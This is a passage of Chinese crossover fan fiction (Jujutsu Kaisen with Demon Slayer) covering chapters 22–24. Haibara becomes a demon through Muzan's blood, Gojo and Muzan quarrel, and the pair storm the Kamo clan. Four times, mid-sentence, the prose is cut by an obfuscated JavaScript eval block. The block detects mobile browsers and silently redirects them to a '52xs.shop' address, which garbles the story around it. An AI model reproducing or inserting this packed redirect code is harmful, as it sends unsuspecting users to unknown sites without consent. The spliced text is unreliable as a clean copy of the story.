超超超超级强的五条学长来啦————————”、 “出来。” 随着五条悟的靠近,那一片的石碓莫名颤抖起来,一股熟悉的压迫感袭来。 五条悟眉毛一皱,提起警惕。 “灰原! 冷静一点……呃!” 七海建人焦急的声音传来,或许是经过一场大战的缘故,显得有些虚弱。 随着声音落下,散落的石块被一下扫开,一个黑发的身影猛地跳出,向五条悟袭来。 五指成爪,目标准确地向五条悟的脑袋抓去。 这是灰原雄。 黑色的锅盖头凌乱地盖着上额,双目染了丝丝血渍,瞳孔之中的一丝清明消失不见,龇牙咧嘴,尖牙凸出。 但这点速度在五条悟面前还是不够看的。 五条悟皱了下眉,抓住对方的手腕,手臂一扭,按着灰原雄的胳膊就把人抵在地上。 “看见学长我了,也不必这么激动吧?” 然后,五条悟看向跌坐在一旁的七海建人。 “你们这边发生什么事了?” 七海建人的声音略显疲惫,但到底是见了主心骨,松了一口气。 “我不知道。 辅助监督那边的消息,说这次任务是解决二级咒灵。我们到现场之后,发现确实,咒力水平确实是个二级咒灵水平。” 七海建人抹了下头发,深深叹了口气。 “但这是土地神诅咒,很狡猾,表面上只展现出了二级咒灵的水平。 整个土地庙所在的范围内都是他的领地,为他提供咒力来源,实力甚至比一般的一级咒灵,还要强。” 灰原雄还在五条悟手下挣扎,五条悟看了一眼,反手一个手刀把人劈晕了。 五条悟:“你们解决了?” 七海建人:“解决不了,又过于深入,灰原牺牲了自己才勉强让我活下来……” “等等,你说牺牲?那……” 五条悟眼中满是严肃,“他现在的状况?” 七海建人的脸上陡然染上了一层带着恐惧的疑惑,像是超出了自我认知理解的局限。 “是,我确确实实判断他死了……”七海建人的声音颤了颤,“他的身体甚至被截断,下半身被咒灵拖走……” 五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406407|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条悟瞄了一眼灰原雄,发现他下半身的两条腿是完好的,衣服从中间断开,确实符合七海建人的描述。 “我背着他的上半身想要离开……但是, 但是他突然挣扎起来,从我背上摔下去……双腿逐渐长回来,但也变成了这样听不懂人话的样子,还试图攻击我……” 七海建人扶着额,“我被吓了一跳,回过神来之后试图带他先离开这里。 但他的力量太大了,完全控制不住。 更糟糕的是,那个咒灵也追上来了。” 五条悟:“但你现在还活着,他们两个干起来了?” 七海建人:“是,虽然战斗很惨烈,但灰原不知道为什么,有了很强的再生能力,我甚至感觉,这种再生能力比反转术式还要难以想象。 最后灰原成功把那个咒灵祓除了,可能是消耗了太多力量的缘故,力气小了很多,我才能压制住他。” 五条悟冷哼一声,说:“你感觉的不错,这确实不是反转术式。至少反转术式不会让人听不懂人话。” 五条悟蹲下身子,右手扒开灰原雄的眼皮,又敲了敲他的牙齿。 “所以你刚刚不敢出来见我?” “是……你靠近的时候,灰原突然变得很亢奋,压都压不住,后面转头去攻击你了,我担心……” “担心我会上报。”五条悟左手撑着,“担心按咒术界的规矩,会判他死刑?” 七海建人点点头。 五条悟心里已经有了猜测,大抵明白了要怎么做,于是干脆席地而坐,顺便全七海建人别那么紧张。 “等杰到了,我们先回高专。” 七海建人也瘫着坐下来,“虽然不知道为什么你们会来,但这次,多谢五条学长和夏油学长了……” —————————— 听见他这么说,五条悟突然直勾勾地盯着他,把七海建人都看疑惑了。 “怎么了?我现在状态很不好吗?” 五条悟略显疑惑。 “我不是在群里发过消息了?” 七海建人:“我的手机在对进入土地庙之后不久就损坏了,没有看见消息,抱歉。” 五条悟暗道不好。 “但灰原还回了我的消息呢。”五条悟把手机屏幕摆在他面前,“你看。” 七海建人摇摇头。 “不对,灰原的手机我不知道在哪,但我们两个这几个小时都待在一起,我没看见他掏手机回过消息。 而且他知道我手机坏了,要是有信息,不可能不告诉我…………” 死寂的气氛在两人蔓延。 “搞什么啊……” 五条悟喘了两声,又轻笑起来。 “总不能是咒灵回的吧…………” 五条悟身后,巨大的咒灵猛地停下,夏油杰的身影从上面跳下来。 “什么咒灵?” 于是五条悟尽可能把目前的状况以简洁高效的话语转述给夏油杰,有什么补充的信息,七海建人则会中途添加。 四人乘上夏油杰的咒灵,往高专飞去。 “什么? 你说你们刚过正午就进了咒灵的地盘,缠斗了好几个小时? 那之前和我们联系的人是谁?” 22. 第 22 章 “牛,搁哪染上的东西。” 家入硝子拿着一串医疗和实验器械,正搁灰原雄身上叮铃哐啷地检查,最后一脸迷惑地把目光转向了五条悟和夏油杰。 七海建人在经过反转术式的治疗后,状况明显好了许多。 但家入硝子的反转术式对灰原雄的影响并没有很明显。 说到底,反转术式本身是治疗型的力量,但灰原雄现在本身就已经拥有了超规格的再生能力,没有效果反倒是在意料之中。 但也不知道是不是反转术式的功效,至少现在灰原雄的意识有点清醒了,虽然现在还是会对着同学们发呆,据他自己所说,总感觉他们几个闻起来特别让人有食欲。 “你被食人族咒灵感染啦?” 家入硝子一脸迷惑。 “我不知道。”灰原雄闭着眼睛,“如果我要是不小心又攻击你们的话,麻烦学长们把我打晕,拜托了!” 学长们,指: 夏油杰正在埋头苦想,五条悟低着头,看不清脸上的表情。 “有关你现在的情况,我确实完全没见过。” 夏油杰皱着眉头,CUE了一下五条悟。 对方摇摇头,话题一转说起了另一件事。 “对了,关于今天的事情……” 五条悟语气停了一下,这才接着说到:“我得跟你们道个歉。” 夏油杰一惊,直觉告诉他,五条悟说的应该不只是刚刚发生的这件事。 七海建人没什么反应,只是皱了下眉。 灰原雄的反应是最大的一个,差点从病床上跳起来,还是因为手脚都被绑着才没有成功。 “五条学长为什么要道歉?如果不是你们及时赶到,事情到最后指不定会发展到什么地步。” “先听我说。” 五条悟尽可能简洁且直观地把目前的状况讲给众人听。 指目前御三家正在内斗,而另两家为了挫伤五条家,很可能会选择对五条悟及高专的重任下手这件事。 最后,他叹了口气。 “所以我刚刚去找你们,就是准备把你们两个带在身边,省的那边再出乱子。” …… “事关大家的安危,我却没有说明,非常抱歉。” …… “但灰原和我说过,这个任务是之前就定下来的,不能怪在你身上。” 夏油杰拍了拍他的肩膀,“实在要说,那应该也是我的责任。毕竟,如果不是我想要收服那个咒灵,我们也不会花费时间去战斗。” 五条悟撇着嘴,无奈地看着夏油杰。 灰原雄在一个劲地点着头,表示夏油学长说的对。 七海建人冷冷静静地靠在墙上,低着头,连一头金发都显得略微暗淡了。 “……那为什么现在又告诉我们?” 五条悟很无所谓地说:“因为我需要给出一个合适的理由,说服大家这段时间老实待在高专里,至少等五条家处理完现在的情况。” 夏油杰瞪大了眼睛:“所以你也找理由把我的任务给…………” 七海建人中途出声,打断了夏油杰的话。 “……所以反正一切都交给你就好了。” 五条悟没什么感觉,很平常地应了下来,“嗯。” 七海建人叹了口气,扭过头去,没有说话。 “那个,七海,悟他也是为了我们的安危……” 七海建人反对夏油杰说到:“他是连你也一起看不起了吧?” 夏油杰冲他摊开手,“毕竟,是我先说比不上他之类的话的……” 此时的五条悟: 不改,因为他所考虑的是事实,这些人知道了高层的计谋也无能为力,最终还是要靠五条家。 道歉,因为这确确实实会让这几个不高兴,道歉就道了。 面对七海建人和夏油杰的话,家入硝子表示自己才是最被看不起的那个吧? “说。”家入硝子拉着一张脸对五条悟说:“你是怎么想我的。” “那也没错啊,硝子你确实没有战力啊,而且那群老家伙可宝贝你了。” “嘁,死混蛋。”家入硝子对他比了个手势,“有没有想过我会被任务淹没的啊?” 灰原雄还处在状况之外:诶?我怎么感觉气氛不对啊,发生什么了。不做任务就不做了嘛,刚好可以休息一段时间,有什么问题吗? “好了,如果各位没有疑问的话,就这么决定了。” “算算时间,那个家伙也该到了。” 不久之前…… 辅助监督负责下帐,随后心惊肉跳地看着鬼舞辻无惨一戳一只咒灵,手一攥就捏爆一个咒灵的脑袋。 有的时候为了追求效率,辅助监督的帐还没下完呢,鬼舞辻无惨的骨刺就完工收回又火速赶往下一个地点了。 “走吧。” 又是瞬间秒掉一个咒灵,或者说,凡是没有开领域的咒灵,在鬼舞辻无惨这里,都是两下的事情。 但这么高强度地给别人干事,饶是鬼舞辻无惨已经够觉得万事都无所谓了,也还是有些烦躁的。 而就在这时,手机铃声突然响了起来。 鬼舞辻无惨颇有些不耐烦地皱起眉头,从口袋里拿出正在震个不停的手机,一看,五条悟来电。 接通电话,鬼舞辻无惨的声音冷冷的。 “什么事。” “回高专一趟。” 鬼舞辻无惨:? “什么意思?” 五条悟那边语焉不详的,听上去心情也不太好。 “回来再说。” 电话被粗暴地挂掉,鬼舞辻无惨都快被自己整笑了。 原来他表现出来的脾气有那么好吗? 鬼舞辻无惨拉开车门,上了后座之后就开始闭目养神。 “那大人,我们接下来……” 辅助监督小心翼翼地询问到。 鬼舞辻无惨保持着一个姿势没有动,良久,勉强控制好自己的情绪,缓缓吐出一口气。 “回高专。” “是,大人。” 辅助监督敏锐地觉察到后座这人此刻心情超级不好,出于恐惧也出于敬畏,忙发挥了百分之二百的车技,把人快速且平稳地送到高专脚下。 “大人,我们………到了。” 门“咔哒”一声被打开,随后猛地被关上,发出“砰”的一声巨响,鬼舞辻无惨的身形瞬间消失在了原地。 终于摆脱这位大爷了,辅助监督总算是能松口气,开着车溜了,并火速申请更换负责的咒术师,绝对不要再和鬼舞辻无惨对上了。 鬼舞辻无惨以肉眼几乎不可见地上山,越是靠近五条悟所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406408|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,反倒是愈发冷静下来。 从房间里传来零零散散的说话的声音,直到清脆的脚步声在门口响起,屋里才变得安静下来。 或者说,除了五条悟,没人知道找他来做什么。 五条悟扒了一下自己的墨镜,语气有些不爽,但好歹没有彻头彻尾地展现出来。 “你来看一下……” 骨刺猛地袭去,虽说还是照例被五条悟拦在手里,动弹不得,但五条悟也被逼起了几分烦躁。 “你有病? 攻击我干嘛啊?” 一条又一条骨刺伸出,向着五条悟攻击而去,五条悟没办法,只得不断打碎袭来的骨刺。但这是杯水车薪,因为骨刺的再生速度快到难以想象,这地方又狭窄,五条悟顾忌着同学,完全伸展不开。 “喂! 你够了吧?我真有正事找你。” 五条悟颇为不满地嚷嚷出声,几秒钟的时间里,两人已过上数招。 “早些时候让我代你去参加会议,晚点又说去给你们咒术界完成任务,方才又什么理由都不说地把我叫回来,五条悟,你是不是觉得使唤我很爽呢?” 五条悟也发了些脾气,一把抓住数根挥舞的骨刺,向着自己这处扯过来,声音颇有些恼怒。 “又不是让你白干活!” 被五条悟扯住的骨刺瞬间合为一体,随后绕了个圈,往他的太阳穴扎去,只是在中途就被拦腰掐断,落在地上了。 “你觉得我是你用血液就可以驱使的存在吗?” 五条悟怔了一下,随后猛地向他伸出手。 鬼舞辻无惨还以为他要继续攻击,皱着眉就准备继续,结果发现五条悟这家伙伸手只是为了扶住自己的肩膀。 五条悟抓着鬼舞辻无惨的肩膀,一边晃一边嚷嚷到。 “那老子也跟你道歉行了吧?!” “你不要乱来奥—————— 先把这事情解决了好不好嘛————————” 鬼舞辻无惨用一种死鱼眼看着他。 “你不要这样看我咯————这真的很重要啊, 这可是关乎了两代高专学生的青春时光呢 ! ! ! ” 鬼舞辻无惨:谢谢,并不是很懂,也并不是很想懂。 “先帮忙啦………………” 鬼舞辻无惨莫名其妙就释怀地笑了,感觉自己有病,也感觉五条悟有病。 他的眼睛转了一圈,最终又落回到五条悟脸上。 “你倒是有些不同。” 至少两人之间达成了短暂的和平,鬼舞辻无惨向屋内走去。 五条悟给他介绍现在的情况。 “喏,你看看,他这么变成这样子了。” 五条悟眼巴巴地看着鬼舞辻无惨,连带着剩下一群人的目光也聚在他身上。 鬼舞辻无惨:…… “他体内有我的血,受到致命伤后,我的血液自动将其感染。” 鬼舞辻无惨的枚红色眸子上下扫视着灰原雄,眸中露出明晃晃的嫌弃之意。 “不过他身体里的咒力水平太差了,就一点血液,现在还没平静下来。” 五条悟这下是明白为什么了。 “所以他现在这种状况,要怎么解决?” “喝点血就好了。” 灰原雄: ! ! ! 23. 第 23 章 灰原雄大惊失色,整张脸已经够没血色的了,如今也彻头彻尾地白下来。 “不要哇—————————— 我一定要喝血嘛—————————— 但是我不想变成喝血的怪物嗷——————————” 鬼舞辻无惨皱着眉,骨刺麻溜地把人嘴巴封上。 “闭嘴,小鬼。” 五条悟在他身后,确保他不会伤到在场的各位。 “实质就是需要血液中蕴含的咒力吧?直接给他输送咒力是否可行?” 鬼舞辻无惨无情否认。 “不行,血液是载体,如果他的血液打不过我的,就只能被吞噬,成为会在阳光下灰飞烟灭的某些低等的存在。” 已经克服阳光的鬼舞辻无惨表示,曾经那个需要避着太阳走的存在真的是逊爆了。 “谁的血液都行吗?只要是咒术师?” 五条悟行动能力超强,已经把自己的手腕割开了。 鬼舞辻无惨眉头一皱,骨刺以闪电般的速度绕上五条悟的手腕。 五条悟差点没反应过来,满脸控诉地转过头瞪着他,整张脸的所有表情都在透露出一句话: 不是,你小子还搁这护食上了? 鬼舞辻无惨磨了下上下排的牙,总感觉有些牙痒痒。 “你不行。” 五条悟用一种死鱼眼盯着他。 “为什么?” “因为你是我的。” 鬼舞辻无惨十分平静地说到。 此刻,听到这话的众人。 五条悟:wow,真护食上了啊。 夏油杰:所以早些时候我看到的是真的,我就知道眼见为实,解释就是掩饰,还好我没听悟的狡辩。话说我俩混一起那么久……哦不对,有情况和纯傻子,我应该是分得清楚的。你俩好好的,最好别来烦我了哈,再也不想体验一次深夜被吵醒的感觉了。妈的。不过这俩是什么时候勾搭上的,前段时间我俩整天通宵过游戏的时候,怎么没听他提起过。等会要不要去嘲笑一下五条悟,我的天,不过这男的好像脾气不太好,真找他不会连带着我一起敌视上吧?那我还和悟一不一起出任务啊?出吗?不会误会吗?不过以悟的性格,真要误会,他早就挨揍了。诶那这样好像可以出,毕竟今天走之前就是要和悟一起出任务的,话说这人还连带着帮我做任务。这兄弟哪里脾气不好了,这兄弟可真太棒了。就是平时凶凶的,还有点看不起人,不过这张脸长挺好看,悟的审美果然挺好。就是可能眼睛有点瞎,居然能看的上悟。话说真的有人能忍受得了五条悟这性格而不跟人打起来吗?哦,他们刚才好像就是在干架来着。速度真快,不愧是和悟在一个档次的存在,要不要找个时间请教一下?不过刚刚那点时间,对方好像断了好几根触手,真的没问题吗?! 夏油杰发着呆,双目无神,虽然因为眼睛不大的原因,本来就没多少神色。 七海建人:……真是一点都不值得尊重的学长。 家入硝子:诶?真的假的?这不值得咔擦咔擦几张发到和冥冥学姐她们的聊天群里去乐一下? 灰原雄:总感觉大家的氛围好奇怪,真的是我融入不进去吗?话说五条学长和这人是什么关系?总感觉他们之间有一种彼此厌烦的氛围,但两个人之间又莫名有些说不出的亲近感,是达成了什么交易吗? 五条悟没在这问题上死磕,就转头面向其他人。 “那除我之外呢?天赋什么的有影响吗?” “没有。”鬼舞辻无惨仍然是那副淡淡的表情,不是非常提得起兴趣,“血液够了他自己会停下来的,剩下的就看谁的血在他体内能胜出了。” 五条悟:“照你这么一说,他身体里的血还要打一架,分了胜负才能稳定下来?” 鬼舞辻无惨:“不然呢?” 五条悟:“有没有你能操作的,让事情变得简单点的?” 鬼舞辻无惨翻了个白眼,语气十分不耐。 “我能心平气和地站在这跟你讲话,你就该知足了。 我可没有兴趣去帮除你之外的废物。 连我的血都掌控不了,干脆晒太阳自杀算了。” 众人的脑子瞬间一愣,包括夏油杰,但夏油杰身体比头脑行动得更快,刚要出手,但五条悟颇为关注他,更快地把他的动作按了下去。 毕竟五条悟是明白鬼舞辻无惨的性子的,他可不会因为这人需要自己的血,就误以为他很好相处什么的。 但毕竟其他人不知道,夏油杰狠狠深吸两口气,对鬼舞辻无惨说:“那我的血可以是吧。” 鬼舞辻无惨点点头。 夏油杰一边安抚着精神状态不太好的灰原雄,一边说服七海建人,让他休息会,毕竟他也才重伤痊愈。 在几人喂血的时候,鬼舞辻无惨和五条悟正在利用眼神和肢体动作,指的是鬼舞辻无惨面无表情地看着五条悟,五条悟兼以眼神和肢体诘问,堪称心灵感应大赏。 五条悟:不是,你怎么能这么说话的呢? 鬼舞辻无惨:我又没说错。 五条悟:但这群小家伙肯定会不高兴的啊,哪有人会喜欢当面被喊蝼蚁的? 鬼舞辻无惨:他们几个跟我又没关系,我在乎他们干嘛? 五条悟:可是我包在乎的啊,你就不能看在我的面子上,稍微别那么嘴毒吗? 鬼舞辻无惨:你好像搞错了什么,你算个毛线? 五条悟满脸无辜,近乎控诉地指着鬼舞辻无惨。 五条悟:不是,我在你那里难道连血液这个优点都没有了吗? 鬼舞辻无惨表示不屑,并白了他一眼。 自从体内的血液同五条悟的咒力充分发生反应后,鬼舞辻无惨彻底克服了阳光,甚至在带来的连锁反应之中,连对人血的渴望都少了很多,几近消失,但尝优质的血液还是能感到些许愉悦,只是没有以前那么渴望了。 于是乎,现在鬼舞辻无惨能坦然地说,我可不是你用血液就能支配的存在。 “各位,我还是觉得这次任务的意外不能单纯让它过去,我要去见一下咒术界的高层。” 对夏油杰的话,五条悟只是点点头,没有反驳,也没有质问他为什么要往人枪口上撞,只是在他说完之后,嘱咐了一句“注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406409|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意安全。” 夏油杰对着五条悟点头示意,表示自己明白了,又眼神复杂地瞥了鬼舞辻无惨一眼,随后退出了医务室。 家入硝子要继续留在医务室为灰原雄做检查,七海建人也准备留在这里陪着灰原雄,五条悟则是和鬼舞辻无惨一起下山,吩咐五条家的人来接他们。 在路边瞎等着没事干,五条悟踢了一下鬼舞辻无惨的裤脚,惹了对方一个白眼。 “喂,你这几天准备住哪?要不要来五条家?” “当然可以。”鬼舞辻无惨懒洋洋地靠着路牌,“你安排好了,通知我住在哪里就行。” 五条悟:“不是,我怎么感觉你是在把我当仆人了?” 鬼舞辻无惨面带无语,懒得理他。 不过,有些事情不能告诉五条家,所以在五条家的司机到来之前,五条悟必须把该问的东西问清楚。 “所以,你的血液的最终功效究竟是什么?” 五条悟指出:“你上次说过,但那次是用来威胁我的手段,内容里恐吓的东西带着更多。” 鬼舞辻无惨淡淡地看了他一眼。 五条悟心里一愣,面露无语。 “不是吧——————我问个情报都要给血吗?” 鬼舞辻无惨丝毫没有自己是在压榨对方的意识。 “你之前承诺的血液还没有交付呢,我可以选择拒绝。” 一听到对方这样说,五条悟顿时坐不住了。 “没付?那你刚刚喝的算什么?我割手腕的时候,你没趁机喝两口吗?” 面对五条悟的诘问,鬼舞辻无惨表示这丝毫不是问题。 “拜托,方才的这个叫物尽其用,不能浪费,哪里能算作是你我的交易了呢?” 五条悟:“我去,比我还不要脸。 你就直说吧,情报能不能给。” “当然能。” 鬼舞辻无惨这个时候又不卖关子了,很爽快的就把有关血液的功能和细节告诉他。 “拥有我的血液,这首先代表两件事。 第一是为我之同族,恐惧阳光,以人为食的鬼族,但由于现在的我已经克服了阳光,虽然还没有试过,但我猜测,由如今我的血液感染而生的鬼族,大抵也同我一样,不惧怕阳光了。 同时,鬼族不会衰老,青春永驻,永生不死。拥有无与伦比的力量和再生能力,拥有的血液越多,力量越为强大。 第二,则是生命完全由我掌控,大脑与思想全然存在于我的监控之中。” 五条悟大声“哦”了一下,沉默了一会儿,接着问起灰原雄。 “那他身上怎么会有你的血?” 鬼舞辻无惨哼了一声,似乎并不是很想回忆起刚到这个世界时候的情况。 “那个时候我还需要进食,恐惧阳光,但周遭的普通人全是不能入口的渣滓,好不容易遇上一个血液有点能看的家伙,就留了滴血在他的身体里。” 五条悟:“那你现在是,不怕阳光,也不需要进食了?” 鬼舞辻无惨楞了一下,仿佛是恍然大悟一样。 “……是啊。” 24. 第 24 章 五条悟:“你知道我想说什么的对吧?” 鬼舞辻无惨冷冷地靠在墙上,十分无语地冲五条悟翻了个白眼。 “你管我。” 鬼舞辻无惨低着头,卷发垂下来,把眼眸都遮住,像是在深思,但又像是什么都没考虑。 五条悟凑到他面前,惹得鬼舞辻无惨的眸中直白地透出“你有病”的疑问。 五条悟伸着两根食指,指着自己,表情暗示:问我问我。 鬼舞辻无惨有气无力地回问。 “问你干嘛? 你有什么用?” 五条悟拉着个脸,一本正经地控诉他。 “这种东西,当然只有我能给你建议啦。” 鬼舞辻无惨:“理由?” 五条悟:“你有见过比我还强的人吗? 我难道不配给你提意见吗? 难道不吗?” 五条悟有理有据,理直气壮。 “你摸着你的良心说,啊虽然你可能没有良心。 但你也要尊重事实啊——” 鬼舞辻无惨半合着眼,脸色还是一如既往的苍白,透出他并不是个正常的活人这个消息。 只是少了几分病态的白。 他低着头,确确实实是在沉思。 五条悟这个人,同自己一样,是以绝对的实力为底色,不惧一切的武人。 只是与鬼舞辻无惨不同的是,五条悟和这尘世还有羁绊。 五条家、高专、他喜欢的游戏、甜品………… 鬼舞辻无惨则是孑然一身,他没有任何的顾虑与牵挂,同样,也没有任何渴望。 曾经与这具身体有过深重联系的人,皆是怒目而视,拼尽一切都要取他性命的存在。 他的同类,多半是蝇营狗苟终日昏眩之物。而实力差强人意的,一个是丢失了记忆被他蛊惑才留下来的,还有一个蠢货,一个只是下意识维护尊卑地位、向往绝对实力的。 曾经这具身体最大的渴望就是克服阳光,成为完美生物。忙忙碌碌了上千年,反倒是先被弱于他的仇人杀死。 轮到自己,来到另一个世界,却十分轻易地就完成了这个曾经持续上千年的事业。 当克服阳光这个目标一旦达成,鬼舞辻无惨彻底成为了无所顾虑,不需要依靠一切,绝对完美,绝对强大的存在。 但说到底,人类的灵魂,真的能承受的了这种境地吗? 说到底, 倘若生命是一场漫长的旅途, 在所有人都于自己的人生道路上挣扎的时候,一个人类的灵魂孤独地脱离了一切,注定只能无悲无喜,无忧无惧地存活在这世界之上。 那么, 对这个灵魂而言, 永生,究竟是赐福,还是诅咒呢? 人一旦完成了曾经立下的终极目标,就容易囿于现在的状态,停滞不前,无法再得知接下来的道路改如何是好。 对所有人,对社会,大抵都是如此。 所以呢,现在的鬼舞辻无惨也在面临着这个问题。 五条悟是个聪明人,虽然他平时表现得十分欠揍,不老实,好像聪明这个词和他完全没关系。 但是,他是个聪明人。 所以,在方才问出那句的时候,对方就已经看透了自己目前的处境。 不过五条悟虽然聪明,但他大多时候,更明白, 人无法擅自涉入他人的命运。 他懒得去关注那些他无法涉足的,也懒得去为他人的命运担忧。 整体上来说,他们二者很像。 绝对的强者,绝对的自由,只是比较地来说,五条悟更为心善。 是的,就是善良。 不帮能力之外的人,但踏入他的保护圈,五条悟都愿意搭一把手。 但鬼舞辻无惨显然不是需要向他求助的人,现在五条悟这么明显地想套自己的话,大概率是有事情要自己帮忙。 于是鬼舞辻无惨抬了下下巴,示意他接着说下去。 两人一问一答,颇为和睦。 五条悟抬手指着天空,说:“你现在,还有能够快速提升实力的方法吗?” 鬼舞辻无惨:“没有。” “绝对,不需要和别人产生联系?” “并不需要。” “在我们认识之前,你在追求什么?” “克服阳光。” 五条悟把指头一转,又指着地面,说:“之后怎么样?靠着绝对的实力去占地为王,以得到众人的拥护吗?” 鬼舞辻无惨冷哼一声,并且十分不留情面地表示:“只有蠢货才会通过欺压弱者来获得存在感。” “那,与之相反的……?” 鬼舞辻无惨看着他的眼睛,瞳孔里没有半点情感波动。 “只有你才会去帮对自己毫无用处的人。” 五条悟眯了眯眼,冲他勾起唇角。 “话可不能这么说。” “理由?” “要不要跟我来?” “理由。” “来不来嘛?” “嘁。” ………… 是夜。 加茂家。 日式的木屋里,加茂宪屹和一位老者正面对面端坐着,像是在谈论着什么。 “宪屹,你倒是厉害,能在那群老家伙面前掌握话语权。” 加茂宪屹没有顺杆往上爬,只是对着他微笑,并低下了头,表示自己在长辈面前的顺从。 “哪有,在下能到这般地步,也多亏了您的教导。” 果不其然,谁都喜欢奉承的话,年纪越大的人越是如此。 但宁静的夜晚总会被打破,就像现在。 下人急匆匆地跑进房里,语气紧张。 “大人! 五条悟和那个无惨……” 老者显然早已料到对方会按捺不住,只是没想到来的这么快,御三家集会结束的当天就被五条悟找上门来。 “他们到了?” “对。”下人咽了口口水,“他们是直接打上来的。” ! ! ! 老者咳嗽了一声,十分冷静地给加茂宪屹下命令。 “宪屹,既然你已有如此成长,那么这次危机,就交付给你了。” 待加茂宪屹应下,老者就准备麻溜地跑路了。 高层一般不会在本家停留太长的时间,特别是有危险的时候,更是跑的比谁都快。 加茂宪屹低着头轻笑一声,指尖绕着茶杯。 “加茂大人……呃!” 下人哆哆嗦嗦地想询问加茂宪屹的命令,话音未落,额头上陡然出现一道血痕,瞬间就没了气息。 高层老头还没搞清楚是什么状况,当即暴跳如雷。 “你在做什么!为什么要……呃!” 但质问声还未完全出口,他的额头也瞬间出现一道血痕。 “加茂宪屹”将手指摸上自己的额头,扯住伤口中的缝合线,慢慢拉扯。 “看来,我也该换个壳子了。 毕竟,缓慢发展,哪里有直接接受已经完善的势力来的方便呢?” 那头盖骨猛地被掀起,一团脑状的细胞组织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406410|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴露在空气中,脑液流淌着,带着可怖的大笑。 ……………… 正门。 随着猛烈的爆炸声,木质的大门被瞬间破开,蓝紫色的光几乎要把黑夜照耀成为白昼。 门后,到来的是加茂家的下属,和各路受加茂家雇佣的咒术师。 受雇佣的咒术师们觉察到前方传来的压迫,不约而同地心下胆颤,止步不前。 相反的,加茂家的奴仆和下属倒是大喊出声,带着点勇气冲上前去,指望着他们至少还有人数优势。 但在浓烈的飞尘和废墟之中,飞舞的骨刺自那光的源头伸出,瞬间穿透了他们的脑袋,无论人数多少,无论实力高低,处理诸如此种水平的敌人,对鬼舞辻无惨来说,不过是砍瓜切菜,轻松得很。 下人们对加茂家忠心,但这不代表不怕死。 更何况,他们看着自己这方的人死伤惨重,而那群受雇佣的咒术师却止步不前,顿时气急败坏,大声斥责。 “一群废物! 花了加茂家那么多钱,一个五条悟就把你们吓破胆了吗?” 但下一秒,这出声斥责的人就被骨刺穿透了脑袋,瞬间没了声响。 “一个五条悟? 看来,我在各位的眼里,真的这么好说话吗?” 鬼舞辻无惨的身影出现在茫茫的黑夜里,骨刺翻飞,带着出刃见血的凌厉,势如破竹,势不可挡。 一双近乎于血红色的眸子在墨色的景象中发着光亮,嗜血而残忍。 “喂喂。” 五条悟的身影接着鬼舞辻无惨之后出现,受到无下限的保护,校服和那头白发依旧整洁如故,看不出刚刚经受了一场车轮战。 “都说了不要乱杀人,我们又不是来大开杀戒的。” 鬼舞辻无惨在震慑众人的空隙,还抽空调了根骨刺朝着五条悟的太阳穴攻去,一脸无语。 “诶诶诶! 你怎么连队友都打啊?” 对方比自己高几厘米,习惯了俯视别人的鬼舞辻无惨十分不爽五条悟的身高,连看都懒得看他。 “你刚刚也没少杀人吧?” 五条悟嚷嚷道:“这群鬼东西,也不知道给人下了什么迷魂汤,整个人都透着教义似的疯狂,完全不听人话。 还一个劲地往上攻过来,简直就是着了魔。” 五条悟一手抓住面前人的衣领,把人扔出十几米外,对着门后的咒术师们喊到。 “喂———— 对面这群人。 加茂家给了你们几个钱啊,就能强迫你们来送死?” 五条悟丝毫不怕对面的人能给他带来威胁,大踏步上前,自信的步伐反倒是倒逼众人退入正门里。 “或者说,加茂家的人真的把你们当成与之对等的咒术师了吗? 他们难道不是,把你们当成了用钱就可以买到的廉价奴仆?唯一的作用就是为了家族效力。 强敌由你们去打,任务由你们去做,危机临头就推出你们来挡灾,面临着生命危险,最终只能拿到少得可怜的报酬。 临了还要被这些家族责骂、侮辱,被说能为家族付出生命就是你们的荣耀?” 五条悟朝里面的人眨眨眼,十分扎心地补刀。 “我说的没错吧? 你们真的要上来送死吗?” 众人顿时感觉心脏被“噗呲”一下狠扎进去两刀。 